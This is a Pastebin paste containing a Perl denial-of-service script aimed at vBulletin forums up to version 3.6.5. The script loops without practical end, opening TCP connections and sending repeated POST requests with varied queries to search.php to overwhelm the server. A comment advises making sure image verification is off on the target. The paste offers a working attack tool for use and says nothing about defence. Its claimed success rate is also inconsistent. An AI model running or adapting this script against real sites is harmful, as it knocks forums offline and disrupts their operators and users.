Guest User

Untitled

a guest
Apr 21st, 2018
75
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.78 KB | None | 0 0
  1. # VBulletin DoS Exploit
  2.  
  3. #
  4.  
  5. # The exploit was tested on 15 machines And 13 of them got Crashed. 98% Works;)
  6.  
  7. #
  8.  
  9. # important => Make sure that Image Verification in (search.php) is NOT Enabled.
  10.  
  11. # It works on 3.6.5 and prior [all] !
  12.  
  13. #
  14.  
  15. #Perl Script
  16.  
  17. use Socket;
  18.  
  19. if (@ARGV < 2) { &usage; }
  20.  
  21. $rand=rand(10);
  22.  
  23. $host = $ARGV[0];
  24.  
  25. $dir = $ARGV[1];
  26.  
  27. $host =~ s/(http:\/\/)//eg;
  28.  
  29. for ($i=0; $i<9999999999999999999999999999999999999999999999999999999999999999999999; $i++)
  30.  
  31. {
  32.  
  33. $user="h4x0r".$rand.$i;
  34.  
  35. $data = "s=&do=process&query=$user&titleonly=0&starteronly =0&exactname=1&replyless=0&replylimit=3&searchdate =1&beforeafter=before&sortby=title&order=descendin g&showposts=1&forumchoice[]=0&childforums=1&dosearch=Search%20Now";
  36.  
  37. $len = length $data;
  38.  
  39. $foo = "POST ".$dir."search.php HTTP/1.1\r\n".
  40.  
  41. "Accept: */*\r\n".
  42.  
  43. "Accept-Language: en-gb\r\n".
  44.  
  45. "Content-Type: application/x-www-form-urlencoded\r\n".
  46.  
  47. "Accept-Encoding: gzip, deflate\r\n".
  48.  
  49. "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\r\n".
  50.  
  51. "Host: $host\r\n".
  52.  
  53. "Content-Length: $len\r\n".
  54.  
  55. "Connection: Keep-Alive\r\n".
  56.  
  57. "Cache-Control: no-cache\r\n\r\n".
  58.  
  59. "$data";
  60.  
  61. my $port = "80";
  62.  
  63. my $proto = getprotobyname('tcp');
  64.  
  65.  
  66.  
  67.  
  68.  
  69. socket(SOCKET, PF_INET, SOCK_STREAM, $proto);
  70.  
  71. connect(SOCKET, sockaddr_in($port, inet_aton($host))) || redo;
  72.  
  73. send(SOCKET,"$foo", 0);
  74.  
  75. syswrite STDOUT, "|";
  76.  
  77. }
  78.  
  79. print "\n\n";
  80.  
  81. system('ping $host');
  82.  
  83. sub usage {
  84.  
  85. print "\tusage: \n";
  86.  
  87. print "\t$0 \n";
  88.  
  89. print "\tex: $0 127.0.0.1 /forum/\n";
  90.  
  91. print "\tex2: $0 127.0.0.1 / (if there isn't a dir)\n\n";
  92.  
  93. exit();
  94.  
  95. };
Add Comment
Please, Sign In to add comment